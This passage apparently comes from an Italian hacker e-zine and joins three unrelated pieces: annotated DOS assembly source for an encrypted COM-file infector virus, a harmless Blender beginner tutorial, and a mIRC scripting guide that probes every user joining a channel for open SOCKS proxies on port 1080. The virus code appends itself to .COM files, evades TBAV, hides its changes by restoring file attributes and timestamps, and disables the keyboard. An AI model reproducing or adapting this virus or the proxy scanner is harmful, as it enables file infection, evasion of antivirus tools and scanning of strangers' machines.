; ---
push 0B800h
pop es
mov bx,(80-2)*2
mov byte ptr es:[bx],'V'
mov byte ptr es:[bx+1],08h
; --- DO ENCRYPTION -------------------
get_rand:
in ax,40h ; Get Pseudo-Random Number
cmp ax,0
je get_rand
mov word ptr cs:[Key],ax ; Key is into AX
call EncDec ; Encode
; --------------------------------------
; Now we are ready to infect but before do it it's safe to save all attrib.
; and Date's and Time's last modify to prevent suspect :)
; Variables is also to prevent stack problem.
mov ax,4300h ; Get file attributes
pushf ; INT 21h
call INT21H ; ----^
mov word ptr cs:[FileATTR],ax
mov ax,4301h ; Set File attributes
mov cx,00100000b ; Prevent Read-Only et simila
pushf ; INT 21h
call INT21H ; ----^
mov ah,3dh ; Open File to infect
mov al,00000010b ; Read Write Compatibility Mode
xor cl,cl
pushf ; INT 21h
call INT21H ; ----^
jnc do_read ; All Ok,continue :)
jmp f_open_err ; If fail, escape now ! :(
do_read:
push dx ; Salva dati
push ds
mov bx,cs ; BX = CS
mov ds,bx ; DS = BX
xchg bx,ax ; BX = File Handle
call GetTime ; Salva Data e Ora ultima modifica
mov ah,3fh ; Read from file (First 6 Bytes,enought for replace JMP)
mov cx,6 ; 6 Byte (2 Anti-TBAV,3 JMP and 6th is Virus Mark)
lea dx,OrigJMP ; Point to 6-Byte Buffer
pushf ; INT 21h
call INT21H ; ----^
jnc do_check ; All ok,continue :)
jmp f_common_err ; If error, escape now ! :(
do_check:
lea si,OrigJMP
cmp word ptr cs:[si],'MZ' ; False COM ?
je f_common_err ; Shit...
cmp word ptr cs:[si],'ZM' ; False COM ?
je f_common_err ; Shit...
add si,5 ; Pointer to 6th element
cmp byte ptr cs:[si],'V' ; Virus Mark Found ?
je f_common_err ; File already infected...mmm...exit !
mov ax,4202h ; Seek to the end of file (to have file size)
xor cx,cx ; 0
xor dx,dx ; 0
pushf ; INT 21h
call INT21H ; ----^
jc f_common_err ; Shit, it fail ! :(
mov di,ax ; DI contains File Size
mov ah,40h ; Write to file
mov cx,(offset end_virus - offset start) ; Size of virus
mov dx,0100h ; Write all VIRUS Code :D
pushf ; INT 21h
call INT21H ; ----^
jc f_common_err ; Shit, it fail ! :(
mov ax,4200h ; Seek to TOP af file
xor cx,cx ; 0
xor dx,dx ; 0
pushf ; INT 21h
call INT21H ; ----^
jc f_common_err ; Shit, it fail ! :(
lea si,TempJMP
Questa e'la parte in cui si sostituisce la prima istruzione del file in un
JMP per eseguire il virus. Attenzione alla tecnica usata per generare il
nuovo JMP:
mov byte ptr cs:[si],24h ; Anti-TBAV Tricks
mov byte ptr cs:[si+1],21h ; --^
mov byte ptr cs:[si+2],0E9h ; JMP Opcode
mov ax,di ; AX = File Size
sub ax,5 ; Sub 5-Byte of JMP
mov byte ptr cs:[si+3],al ; LSB
mov byte ptr cs:[si+4],ah ; MSB
mov byte ptr cs:[si+5],'V' ; Virus Mark
mov ah,40h ; Write to file
mov cx,6 ; 6 Byte
lea dx,TempJMP ; New JMP
pushf ; INT 21h
call INT21H ; ----^
jc f_common_err ; Shit, it fail ! :(
call SetTime ; Salva Ultima Modifica e Ora
f_common_err:
mov ah,3eh ; Close file
pushf ; INT 21h
call INT21H ; ----^
pop ds ; Preleva Dati Salvati
pop dx
mov ax,4301h ; Set File Attributes (Restore old ones)
mov cx,word ptr cs:[FileATTR]
pushf ; INT 21h
call INT21H ; ----^
f_open_err:
mov ax,word ptr cs:[Key]
call EncDec ; Decode
; ---
mov bx,(80-2)*2
mov byte ptr es:[bx],' '
mov byte ptr es:[bx+1],0Fh
; ---
ret
Questa e' la procedura di Codifica/Decodifica:
; Key for encode/decode must be stored in AX
EncDec:
mov bx,ax ; BX is Key
lea si,encrypt_start ; SI = Start of encrypted part
mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size of part to decrypt
enc_loop:
mov ax,word ptr cs:[si] ; 16-Bit simple XOR encryption
xor ah,bl
xor al,bh
mov word ptr cs:[si],ax
add si,2
loop enc_loop
; Now Write Some Garbage Data !
mov cx,10
lea si,dummydata
garb_loop:
in ax,40h
mov word ptr cs:[si],ax
add si,2
loop garb_loop
ret
Queste sono procedure secondarie
GetTime:
mov ax,5700h ; Get File Time and Date
pushf ; INT 21h
call INT21H ; ----^
mov word ptr cs:[FileDATE],dx
mov word ptr cs:[FileTIME],cx
ret
SetTime:
mov ax,5701h ; Set File Time and Date
mov cx,word ptr cs:[FileTIME]
mov dx,word ptr cs:[FileDATE]
or cx,1Fh ; Setta secondi a 64 :)
pushf ; INT 21h
call INT21H ; ----^
ret
Alcune variabili:
FileATTR dw 0 ; Some Variables
FileDATE dw 0
FileTIME dw 0
Ecco una parte interessante: nelle due variabili seguenti viene
memorizzato il JUMP originale sia del virus che dell'ospite.
TempJMP db 6 DUP(00h) ; Store Temporary New JMP
OrigJMP db 6 DUP(00h) ; Store Original JMP
Questa procedura controlla che il file scelto sia veramente un .COM.
Per prima cosa scanna la stringa alla ricerca dell'ultimo '.' (dot) che
sicuramente equivale all'inizio dell'estensione del file. Allora prende il
precedente '\' (backslash) che equivale sicuramente al punto di inizio del
nome.
; Check if file in DS:DX is a .COM
InfectIfCom:
mov si,dx ; SI = DX
xor di,di ; DI = 0
Is_Loop:
cmp byte ptr ds:[si],'.' ; Ext ?
je Is_Ex
cmp byte ptr ds:[si],'\' ; Reminder last '\'
jne Is_NoD ; Nopa
mov di,si ; DI = Last '\'
Is_NoD:
inc si
cmp byte ptr ds:[si],00h ; Fine ?
jne Is_Loop
Is_No:
ret
Is_Ex:
inc di ; Seek on first letter of File Name
cmp byte ptr ds:[di],'W' ; File Name start with 'W' ?
je Is_No ; Yes, don't infect (can be WIN.COM)
inc si
cmp byte ptr ds:[si],'C'
jne Is_No
inc si
cmp byte ptr ds:[si],'O'
jne Is_No
inc si
cmp byte ptr ds:[si],'M'
jne Is_No
jmp infect_com
E questa e'la routine del DoS:
; ----
;
; DoS Routine
posx db 01h
posy db 01h
dirx db 00h
diry db 00h
dos:
; Disable Keyboard input
cli ; Disabilita INT
mov bx,word ptr es:[4*03h+0]
mov dx,word ptr es:[4*03h+2]
mov word ptr es:[4*09h+0],bx ; OffSet
mov word ptr es:[4*09h+2],dx ; Segmento
sti ; Riabilita INT
mov ah,09h ; Display String
lea dx,Viagra
pushf ; INT 21h
call INT21H ; ----^
...
; End of Sign
dummydata db 20 DUP(90h)
end_virus:
CODE_SEG ENDS
END start
================================================================================
== GETTING STARTED WITH BLENDER
================================================================================
== O-Zone <zerozone@freemail.it> == v1.0.0 [28-01-2000] == http://zap.to/ozone
================================================================================
[ DISCLAIMER ]
Copyright (c) 2000 by O-Zone <zerozone@freemail.it>.
This material may be distributed only subject to the terms and
conditions set forth in the Open Publication License, v0.4 or
later (the latest version is presently available at
http://www.opencontent.org/openpub/).
Distribution of substantively modified versions of this document is
prohibited without the explicit permission of the copyright holder.
Distribution of the work or derivative of the work in any standard
(paper) book form is prohibited unless prior permission is obtained
from the copyright holder.
Tutto cio' che e' espresso nel presente documento riguarda la personale
esperienza con il programma in questione. Nessuna responsabilita' potra'
essere addossata all'autore per danni derivati dall'uso proprio e improprio
del suddetto. Non mi riterro' in nessun caso responsabile dei risultati
provocati dall'uso delle procedure qui' descritte ne' dai possibili problemi
che ne possano derivare. Uso a vostro unico rischio. Solo a scopo didattico.
[ CONTENUTI ]
1) Note e requisiti specifici
1.1) Blender
2) Iniziare
2.1) Menu'
2.2) Comandi Principali
2.3) Navigazione nel mondo 3d
2.4) Il vostro primo cubo 3d
2.5) Personalizzare il cubo
2.6) Altri oggetti
3) Operazioni piu' complesse
3.1) Extrude
3.2) Subdivide, Fractals and Smooth
4) Materiali
4.1) Scelta del Materiale
4.2) Definizione del Materiale
5) Rendering
6) Textures
7) Imparare a creare semplici animazioni
7.1) Decidere gli oggetti da spostare
7.2) Decidere la lunghezza (in frames) del filmato
7.3) Decidere come si dovranno spostare gli oggetti scelti
7.4) Renderizzare il tutto.
8) Fine ;)
=[1]== Note e requisiti specifici
Per la comprensione del seguente documento non sono necessarie particolari
conoscenze se non l'uso corretto del PC. Del resto se siete stati capaci di
installare/usare Linux probabilmente avete abbatanza esperienza per
comprendere parole quali: cliccare, selezionare, menu', invio, cursore, etc.
Sarebbe buona cosa conoscere anche qualche base di grafica quale:
texture, effetti, rotazioni, ingrandimenti/riduzioni, etc.
In questo documento mi riferisco, in particolare, alla versione 1.70 di
Blender.
=[1.1]== Blender
Blender <http://www.blender.nl> e' un ottimo programma free di render 3d.
Oltre a questo ci sono moltissime altre potenzialita' quali produzione di
filmati AVI, animazione in generale, uso dei texture. Non e' possibile
elaborare l'immagine direttamente in "BitMap", per questo consiglio di
affiancare a Blender un ottimo programma GNU di elaboraione
grafica/fotoritocco quale The Gimp <http://www.gimp.org>>. Deto questo
raccomando la lettura del file README contenuto nel pacchetto software di
Blender.
=[2]== Iniziare
Lanciate il vostro programma, generalemnte sotto X basta scrivere "blender" in
un qualsiasi terminale,e tutto il vostro monitor verra' occupato da una
finestra grigia con una quadrettatura nella parte superiore e dei "pulsanti"
nella parte inferiore.
La parte superiore (quella "quadrettata") e' il "mondo" in cui creeremo gli
oggetti. La parte inferiore contiene i comandi. Premesso cio' utilizzero' le
parole "superiore" ed "inferiore" per riferirmi a queste due porzioni dello
schermo. Quando citero' "mondo" mi riferiro' alla "quadrettatura". Lo stesso
per i "comandi".
=[2.1]== Menu'
Imparate fin d'ora che quando citero' "menu'" mi riferiro al menu' pop-up che
si apre premendo SHIFT+A quando il cursore del mouse si trova nuella finestra
superiore. Provate subito a vedere come funziona la cosa. Per chiuderlo
premete "ESC". Questa cosa e' molto importante in quanto molte funzioni si
accedono tramite esso. Il menu' appena aperto (la prima volta) presentera'
questo aspetto, + o -:
+---------+-----------------+
|ADD |Mesh >>|
|VIEW |Curve >>|
|EDIT |Surface >>|
|OBJECT |Text |
|OBJECT |MetaBall |
|MESH |Empty A|
|CURVE | |
|KEY |Camera A|
|RENDER |Lamp A|
|FILE |Ika A|
| | |
| | |
| | |
| |Lattice A|
+---------+-----------------+
Sposatndovi con il mouse l'aspetto cambia. Notate che i bottoni con il '>>' se
selezionati, visualizzano un menu' diverso: provate senza combinare pasticci a
muovervi nel menu', e' molto importante. Il significato dei vari "item" verra'
spiegato piu' tardi. Se vi trovate in difficolta' non premete i tasti del
mouse: premento ESC il menu' si chiudera' senza problemi.
=[2.2]== Comandi principali
Ecco le combinazioni di tasti piu' usate, imparatele:
SHIFT+A Menu' principale
CTRL+X Cancella tutto (ritorno di default)
X Cancella oggetto selezionato
TAB Passa da modo EDIT a modo NORMALE e viceversa.
SHIFT+Q Quit Blender. Premete ESC se non volete uscire, altrimenti cliccate.
S Size, cambia dimensione all'oggetto/i selezionato.
R Rotate, ruota l'oggetto/i selezionato.
G Grab, prende l'oggetto/i selezionato.
A De/Seleziona tutto (solo modalita' EDIT).
F1 Load File .blend
F2 Save file .blend
F3 Save file as Image
=[2.3]== Navigazione nel mondo 3d
Per spostarvi nel mondo 3d dovete usare il tastierino numerico posto
all'estrema destra di ogni tastiera: composto da circa 17 tasti, ve ne sono
alcuni bianchi (tasti numerati + ".") e alcuni scuri (Bloc Num,'/','*','-','+'
ed 'Invio'). Utilizzeremo essenzialmente quelli bianchi. Infatti le freccine
sopra disegnate ci indicheranno in che verso ci muoviamo, mentre il '5'
(quello al centro senza freccine) vi riporta al punto di partenza. Potete
"zoommare" usando il '+' e '-'. Gli altri tasti non ci interessano.
=[2.4]== Il vostro primo CUBO 3d
Okey, siamo pronti per iniziare con le cose semplici. Spostate subito il
cursore nel mouse sopra la quadrettatura ed aprite il menu' (SHIFT+A). Adesso,
con il mouse, selezionate MESH e poi CUBE. Dopo quest'ultima operazione il
menu' si sara' chiuso e vedrete un quadrato nero con 4 pallini gialli negli
angoli: quello e'il vostro cubo. Usate i pulsanti di navigazione per vederlo
in tutto il suo splendore ;). Adesso siete nel modo EDIT: lo riconoscete dal
fatto che ci sono i pallini GIALLI (che possono essere anche ROSA). I Pallini
GIALLI sono quelli selezionati, quelli ROSA no. Se sono tutti GIALLI significa
che le modifiche che opererete influenzeranno tutta la figura, altrimenti le
modifiche influenzano solo gli angoli selezionati. CI sono tuttavia due
differenti "selezioni": quella nel modo EDIT(che ho appena descritto) e quella
nel modo NORMALE: premendo TAB osservate che i lati del vostro CUBO diventano
rosa: significa che e' selezionato. Se avete un secondo (ipotetico) oggetto e
cliccate su esso (che dovrebbe essere grigio) le parti si invertiranno. Il
sintesi:
MODO EDIT:
ANGOLI GIALLI = Selezionati
ANGOLI ROSA = Non Selezionati
MODO NORMALE:
FORMA ROSA = Selezionata
FORMA GRIGIA = Non Selezionata
La selezione/deselezione si opera sempre con un click del mouse sopra/vicino a
cio' che volgiamo de/selezionare. Il modo migliore per imparare e' provare.
=[2.5]== Personalizzare il CUBO
Perfetto ! Siamo riusciti ad ottenere un CUBO. Il programma pero', non sapendo
dove metterlo, l'ha piazzato in un posto di default. Spostiamolo un po': premi
TAB e passa alla modalita' NORMALE, premi 'G' (Grab) e sposta il mouse (senza
cliccare !): come per magia il CUBO vi seguira' :). Quando avete raggiunto la
vostra meta cliccate per "fissarlo". Adesso proviamo a cambiargli dimensione:
sempre verificando che il cubo sia selezionato ("rosa") premi 'S' (Size) e
ripeti la stessa operazione di prima. Vedrai da te cosa succede :). Lo stesso
per ruotarlo: premere 'R' (Rotate) e rifai l'operazione. Nota che durante gli
spostamenti/ridimensionamenti/rotazioni il cubo diventa bianco.
N.B. Ogni qualvolta operi uan trasformazione, siccome lo schermo e' 2d (sembra
banale ma non lo e') l'operazione coinvolge gli assi X,Y,Z nella misura in cui
"guardi" il mondo. Esempio: se operi uno spostamento guardando il mondo
dall'"alto" (Fig.1) l'oggetto si sposta solo nel piano X e Y e non nello Z.
Fig. 1
---+---+---+---+---+---+---+---+---+---+---
| | | | | | | | | |
---+---+---+---+---+---+---+---+---+---+---
| | | | | | | | | |
---+---+---+---+---+---+---+---+---+---+---
| | | | | | | | | |
---+---+---+---+---+---+---+---+---+---+---
| | | | | | | | | |
---+---+---+---+---+---+---+---+---+---+--- ^
| | | | | | | | | | |
---+---+---+---+---+---+---+---+---+---+--- |
| | | | | | | | | | | Y
---+---+---+---+---+---+---+---+---+---+--- |
<----------------
X
Invece se guardo il piano dal "davanti" (Fig. 2) l'oggetto si spostera' solo
lungo l'assi X e Z.
Fig. 2
^
|
----------------------------- | Z
<-----
X
Cio' per supplire alla mancanza della 3° dimensione nei monitor "casarecci"
(perlomeno finche' non vendono i monitor olografici ;D).
Adesso procediamo con un'altra "cosetta" interessante: passa al modo EDIT
(premendo TAB): il cubo diventa "scuro" con gli angoli rosa. Adesso con il
mouse clicca con il destro vicino ad uno dei pallini rosa: subito diventa
giallo. Adesso puoi operare, su questo pallino e sui lati corrispondenti, le
stesse operazioni di prima. Prova prima con 'G' (Grab) poi con 'R' (Rotate) e
'S' (Size). Non stupirti se con le ultime due operazioni non cambia nulla: un
punto non puo' ruorare senza un riferimento e neppure ridimensionarsi ! :)
Adesso seleziona un'altro punto tenedo premuto SHIFT (che permette la
selezione multipla): adesso avrai 2/3/4 punti selezionati su cio poi ripetere
le 3 operazioni con risultati sorprendenti !
=[2.6]== Altri oggetti
Nel menu' MESH avrai notato anche altri oggetti:
PLANE
CIRRCLE
UVSphere
IcoSphere
Cylinder
etc.
ognuno di essi rappresenta un oggetto "base" per la costruzione di un mondo
3d. Prova a giocare con loro come hai fatto con il cubo.
N.B. Plane e' un piano, ben poco potrai farci per adesso.
=[3]== Operazioni piu' complesse
In questo capitolo analizzeremo alcune funzioni che ci permettettono di creare
(e personalizzare !) ancora meglio il nostro mondo.
Narturalmente citero' solo le piu' importanti:
=[3.1]== Extrude
Che parola e' mai questa ? "Extrude" ?!?!?! Si avete capito bene: extrude.
Premi CTRL+X (Fai piazza pulita di tutto). Seleziona il PLANE che c'e' di
default e posizionalo/personalizzalo come preferisci. Passa a EDIT mode e
seleziona tutti e 4 i vertici (tutti gialli). Ora fai in modo di vederlo per
piano (Fig. 2). Adesso premi 'E' (Extrude). Una domanda: "Extrude ?" clicca e
spostando il mouse vedrai che 'qualcosa' ti verra' dietro: posizionala dove
vuoi. Premi 'E' e ripeti l'operazione. Continua finche' vuoi e quando hai
finito premi TAB. Ammira cosa hai creato, che ne dici ? :) In pratica EXTRUDE
fa' una copia del piano selezionato e li "linka" (collega) a quello esistente.
=[3.2]== Subdivide, Fractals and Smooth
Ora passiamo ad una cosa ancora piu' simpatica sempre con il nostro
"serpentello" appena creato: entra in modo EDIT e seleziona tutti i punti
(premi 'A' finche' non sono tutti gialli). Adesso premi 'W' e ti troverai in
un menu' "SPECIAL":
+------------------+
|Special |
|Subdivide |
|Subdivide Fractal |
|Subdivide Smooth |
|Remove Doubles |
|Hide |
|Reveal |
|Select Swap |
|Flip Normals |
|Smooth |
+------------------+
N.B. premendo ESC si esce senza compiere nessuna operazione.
Con il mouse seleziona "Subdivide Fractal". Ti verra' chiesto in quante
parti, scegli il valore e poi clicca con il mouse: adesso il serpente e'
diviso in tante parti quante abbiamo scelto. Sempre dal solito menu' seleziona
'Smooth' e vedrai che la figura si "addolcisce". Infatti 'smooth' significa,
bene o male, addolcimento. Prova le altre funzioni eccetto "Hide" e "Reveal"
che non ci interessano. Una nota speciale a "Remove Doubles": esso si occupa
di togliere i punti sovrapposti dalle molteplici suddivisioni/addolcinature
alla figura.
=[4]== Materiali
Adesso abbiamo capito come posizionare gli oggetti nel "mondo" ma essi sono
solo dei "modelli a filo metallico". Come faccio a renderli solidi ?
Dovete sapere che un oggetto e' costituito dalla forma e dal materiale. Noi
abbiamo imparato a scegliere e a modellarne la forma. Adesso impariamo a
scegliere il materiale.
=[4.1]== Scelta del Materiale
Nella finestra dei "comandi" (quella in basso) ci sono 9 bottoni uno accanto
all'altro. Da destra verso
sinistra c'e' rappresentato:
1) Un "quadretto"
2) Un pennello
3) Un quadrato nero con angoli gialli
4) Una sfera blu e grigia
5) Una freccia "storta" ;)
6) Un quadrato marrone con macchie nere
7) Una sfera rossa
8) Una lampadina
8) Un occhio
Adesso cliccate sul bottone 3 (quadrato nero con angoli gialli) e i pulsanti
sottostanti cambieranno: adesso siete nella sezione di Editing dell'oggetto
(potete accedervi anche premendo semplicemnte F9). Per prima cosa dobbiamo
creare un nuovo materiale: premete sull'unico bottone dove c'e' scritto "New".
A questo punto, proprio sopra il bottone, qualcosa si e' colorato di grigio ed
e' apparsa una scritta tipo "Material.001"; questo e' il nome del materiale.
Adesso pero' dobbiamo definire come sara' questo materiale.
=[4.2]== Definizione del Materiale
Adesso clicca sul bottone 7 (La sfera rossa) per accedere alla sezione di
Editing del Materiale (vi si accede anche premendo F5). Il rettangolo grigio
sfumato a sinistra indica il colore corrente del materiale. In questa finestar
ci sono un sacco di controlli ma l'unici che per ora ci interessano sono
quelle 3 barrette orizzontali con scritto in una 'R', nell'altra 'G' e sotto
ancora 'B'. Stanno a significare "Red,Green,Blue". Spostando questi cursori
notiamo che il colore cambia. Dopo aver scelto il nostro colore preferito e'
l'ora di "renderizzare il tutto" !
=[5]== Rendering
Rendering significa, in pratica, generare il nostro mondo seguendo le regole
del mondo reale. Nel nostro mondo infatti ci deve essere una sorgente di luce,
degli oggetti dove questa luce si riflette ed una "telecamera" (noi).
A questo punto della guida siamo in grado solo di creare gli oggetti. La
telecamera, di fatto e' quel parallelepipedo strano (Fig 5.1) che troviamo di
default nel nostro mondo (notare che puo' essere spostata, ridimensionata e
ruotata come un qualsiasi altro oggetto).
Fig. 5.1
---+---+---+---+---+---+---+---+---+---+---
| | | | | | | | | |
---+---+---+---+---+---+---+---+---+---+---
| | | | | | | | | |
---+---+---+---+---+---+---+---+---+---+---
| | | | | | | | | |
---+---+---+---+---+---+---+---+---+---+---
| | | | | | | | | |
---+---+---+---+---+---+---+---+---+---+--- ^
| | | | | | | | | | |
---+---+---+---+=======+---+---+---+---+--- |
| | | |\\ //| | | | | | Y
---+---+---+---+-\\=//-+---+---+---+---+--- |
Telecamera <----------------
X
Adesso sembra che manchi la sorgente di luce ! Entriamo allora nel menu'
(SHIFT+A), selezioniamo la vode 'ADD' e poi 'LAMP': ci ritroveremo con una
pallina rosa. Quella e' la nostra lampadina. Adesso posizionala dove lo
ritieni piu' opportuno (spesso davanti all'oggetto e' una buona idea) e premi
F12 per effettuare il RENDER della scena (il "mondo" si chiama anche "scena"):
se non vedrai nulla significa che la lampadina e' nel posto sbagliato. Per
chidere quella finestrina nera premi F11. Fai alcuni esperimenti per
familiarizzare con il meccanismo: non e' difficile ! Esempio:
[Lampadina]
O [Cubo]
[Telecam.] ____
/| |\ ___\
\| | | |
---+---+---+--\|+---|---+---
premendo F12 dovrebbe apparire qualcosa del genere:
________
/ /|
/________/ |
| | |
| | |
| | |
|_________|/
Con F11 chiudi la finestra di rendering.
=[6]== Textures
Come avete notato, il colore degli oggetti e' statico, piatto. Noi volgiamo di
piu' ! Allora ecco che entrano in ballo i Textures. Un Texture non e' altro
che un immagine grafica (GIF,JPEG,BMP) con un "pattern" che vogliamo si ripeta
sull'oggetto,una specie di "mattonella" con cui vogliamo fare un pavimento.
Supponiamo di avere gia' un file-immagine con cui "tappezzare" un oggetto,
ecco i passi da compiere:
Vai al menu di editing dei materiali (F5 o sfera rossa),tra i molteplici tasti
ce ne e' uno a destra con scritto "Stencil". Sopra la sillaba "st" c'e' un
pulsante quadrato: cliccaci sopra e seleziona "Add New". Poi Vai al menu' dei
Texture (F6 o "Quadrato marrone con macchie nere") e seleziona il tasto
"Image". Seleziona "Load Image" e cerca l'immagine. Selezionala (cliccandoci
sopra) e poi premi ENTER (INVIO) per caricarla: l'immagine scelta apprira' alla
sinistra del pannello. Adesso renderizzate il tutto (F12) e vedrete l'immagine
scelta "spalmata" sul nostro oggetto ;). Naturalmente per ottenere un buon
effetto dovete adattare la texture al vostro oggetto: per fare cio' tornate al
menu' di edit dei materiali (F5 o "Sfera Rossa").
=[7]== Imparare a creare semplici animazioni
A questo punto dovremmo essere in grado di creare un po' di oggetti, disporli nel
nostro "mondo" e personalizzarli con i textures. Adesso vediamo una cosa molto
carina che ci permette, grazie a blender, di generare una animazione AVI. La
cosa e' molto complessa percui e' bene che mi seguiate molto attentamente. I
passi da fare sono:
1) Decidere gli oggetti da spostare
2) Decidere la lunghezza (in frames) del filmato
3) Decidere come si dovranno spostare gli oggetti scelti
4) Renderizzare il tutto.
=[7.1]== Decidere gli oggetti da spostare
Prescindiamo dal fatto che il passo 1 e' gia' stato fatto, passiamo a decidere
quale oggetto volgiamo far spostare. Cosi' per provare consiglio di far
spostare la telecamera percui selezionamola (cliccandoci sopra, dovrebbe
diventare rosa) e premiamo il tasto 'I': apparira' un menu' "Insert Key" con i
seguenti Items:
[ InsertKey ]
[Loc ]
[Rot ]
[Size ]
[LocRot ]
[LocRotSize ]
[Layer ]
[Avail ]
[ ]
[Mesh ]
Utilizzeremo solo i primi 5 poiche' per gli altri il discorso e' troppo
complesso e lo vedremo in futuro. In pratica questi KEY sono le "chiavi" per
far sapere al programma come dobbiamo far spostare/modificare l'oggetto e
cioe':
Loc = Locazione
Rot = Rotazione
Size = Dimenzione
LocRot = Locazione & Rotazione
LocRotSize = Locazione & Rotazione & Dimenzione
Scegliamo solo Rot per provare: clicciamo su Rot ed il meno' scomparira'.
=[7.2]== Decidere la lunghezza del filmato
Adesso andiamo al menu' di controllo generale premendo F10 (oppure cliccando
sulla finestra in basso sul pulsante con il "quadretto", a destra del
pennello). Ora notate che in basso, sotto il pulsante PLAY, ci sono due
bottoni: quello a destra "Sta: 1" e quello a sinistra "End: 250".
Questi due particolari bottoni indicano la lunghezza del filmato, ovvero il
punto di inizio e quello di fine. In questo caso sono 250 Frames, un po'
troppi per cominciare. Percui clicciam sul quello "End" fino a far
venire, diciamo, 50 al posto di 250.
Tips: Se ci clicci e tieni premuto il pulsante del mouse, spostandoti a destra
e sinistra SENZA RILASCIARLO il valore aumentera' e diminuira'
rispettivamente.
Adesso premiamo SHIFT+F8 ed entreremo in una nuova finestra mai vista prima:
questa e' in pratica lo "studio di registrazione" dei filmati, in cui possiamo
mesclare all'animazione immagini, fare un fadder tra due filmati etc.
Con il mouse nella finestra superiore premere SHIFT+A: apparira' il menu'
"Add sequence" con un sacco di items. Al momento ci interessa quello "scene"
ma in futuro vi consiglio di provare anche gli altri ;).
Appena cliccato su "scene" un piccolo rettangolino grigio con scritto "1"
apparira':cliccatelo subito.Appena cliccato un lungo serpentello verde con
scritto 50 apparira' in corrispondenza del punttore del mouse: adesso
portatelo vesro sinistra in modo che l'"1" del *serpente* corrisponda con
l'inizio. Quelle righe rappresentano in pratica l'andamento temporale del
filmato, a partire dal frame "1" (all'estrema sinistra) fino all'infinito
(ipotetico, ovvio). Utilizzare Blender in questo modo e' affascinate !
=[7.3]== Decidere lo spostamento degli oggetti
Adesso siamo al punto 3, ovvero la parte piu' difficile. Premendo SHIFT+F6 si
entra in una starna finestra simile alla precedente ma radicalmente diversa.
Anche se rappresenta sempre una linea "temporale" essa decide, usando diverse
linee, come si dovranno modificare gli oggetti.
Come vedere in alto a destra ci sono delle scritte come LocX, LocY, LocZ,
RotX,RotY,RotZ, etc. In pratica esse rappresentano l'andamento, lungo gli assi
X,Y e Z del nostro oggetto. Notiamo che alcune sono evidenziate, nel nostro
caso RotX,RotY e RotZ (semplicemnte xche avevamo inserito la chiave Rot)
Ora clicciamo su uno dei tasti evidenziati ed apparira' nel grafico una linea
orizzontale: essa rappresenta lo spostamento lungo l'asse scelto (se abbiamo
scelto RotX lungo l'asse X) dell'oggetto. Modificando tale linea si decide
come si modifichera' l'oggetto. In basso, sul grafico, ci sono dei numeri:
0,10,20,30,40,50,60,etc... essi rappresentano i FRAMES dell'animazione.
Ricordiamoci che abbiamo scelto di usare 50 franmes percui e modifiche oltre
il "50" non influiscono sull'oggetto.
Tips: E' possibile zoomare il grafico premendo i tasti "+" e "-" nel
tastierino numerico.
Adesso sta' a voi scegliere ! Premendo TAB si puo' editare la linea e con
SHIFT+A si possono aggiungere i punti. Non saprei come spiegarvi esattamente
come si fa a questo punto, ve lo lascio scoprire a voi ! :)
=[7.4]== Rendering ovvero "realizzare il tutto"
Adesso torniamo con F10 alla finestra di controllo. Clicciamo a destra sul
pulsantino "AVI Jpeg" che significa "Realizza il filmato in AVI Compresso".
Potete anche scegliere "AVI" ma il risultato finale non cambia. Adesso siamo
pronti ! Armatevi di pazienza, cliccate su "Do Sequence" e poi su "Anim".
Vedrete sullo schermino nero che appare il vostro "filmato" ;). Nell'attesa
prendetevi un caffeino e leggetevi il giornale ;). Appena finito il rendering
basta premete PLAY per vedere la vostra creazione. Se non vi soddisfa potete
sempre modificare il tutto !
Tips: nella directory /render (sul mio PC almeno !) trovate un file tipo
0050-001.AVI che sara' il vostro filmatino ;)
=[8]== Fine !
Il Blender-HOWTO finisce qui', dopo un'estenuante lavoro ( ! ;) !) sperando
che vi possa essere servito a capire qualcosa sull'uso di questo fantastico
programma. Come ho gia' detto, tutto cio' che ho impararto l'ho imparato da
solo senza manuali percui apprezzate almeno lo sforzo fatto per aiutarvi ;)
E adesso...
!!!!!!!!!!!!!!!!! BUON DIVERTIMENTO !!!!!!!!!!!!!!!!!
O-Zone
================================================================================
== GUIDA MIRC (PRIMA PARTE)
================================================================================
== sante <sante@marijuana.md> == ircnet#cybernet
================================================================================
Per fare programmini per mIRC non ci vuole nessuna conoscienza (se sapete cose'
mIRC pero' e' meglio)passo subito a fare esempi perche sono le 11 di sera
(ovviamente trattero' solo comandi che trattano sui sock gli altri non mi
interessano)
on *:join:#:{sockopen sock. $+$rand(a,z) $+$rand(1,9) $+$rand(a,z) $site 1080}
una buona riga di comando.A qualsiasi join
on *:join l'asterisco comporta tutti (si possono fare user e user gli amici
possono essere 2 i nemici 3 o anche gli amici amici e i nemici nemici
on amico:join:# ecc. ecc.
possiamo anche fare on >2:join che indica tutti gli user con livello maggiore di
2(comandi per aggiungere gli utenti sono /auser /guser)
ora rivediamo pero' il comando di prima che fa.
on *:join:#:{sockopen sock. $+ $rand(a,z) $+$rand(1,9) $+$rand(a,z) $site 1080}
ad ogni join si apre un sock $random
*** in mIRC gli identificatori ritornano sempre qualcosa $rand ritorna un numero
random (a caso) tra a e z il secondo $rand ritorna un numero a caso tra 1,9 in
modo da avere sempre sock differenti perche' mirc non puo' aprire un sock gia
aperto.... cmnq. apre il sock con il comando sockopen
sintassi sockopen : /sockopen nomesock ip\host porta
in quel caso il nome del sock e dato da
sock. $+ $rand(a,z) $+ $rand(1,9) $+ $rand(a,z)
ip\host e dato da $site (che sarebbe la parte dell'host del nick che ha joinato
(nick!userid@host))
porta 1080 quella dei sock\firewall
ma questo programma apre solo il sock e ci permette di trovare i socks. Ma non
ci dice niente... proviamo a fare qualche agiunta:
# == tutti i canali si puo' fare pure on *:join:#cybernet
on *:join:#:{
set %chan $chan
set %nick $nick
set %site $site
sockclose sock1080
sockopen sock1080 $site 1080
}
on *:sockopen:sock1080:{
if $sockerr == 3 { echo -a Unable to reach host | return }
if $sockerr == 4 { echo -a Unable to resolve host | return }
echo -a Open sock: %site on %chan ( $+ %nick $+ )
}
molto piu' complesso.Questo script (da ora in poi lo chiamiamo cosi) setta (set)
delle variabili %chan %nick %site.Ora gli identificatori valgono solo per lo
script in cui si sta lavorando.
Quindi una volta eseguito:
on *:join:#:{
set %chan $chan
set %nick $nick
set %site $site
sockclose sock1080
sockopen sock1080 $site 1080
}
gli identi (abbreviazione di identificatori) si annullano alla fine del processo
quindi abbiamo messo delle variabili permanenti che ci permettereanno di farci
capire chi ha l'host (%nick) qual'e' l'ip (%site) e su che canale e' entrato
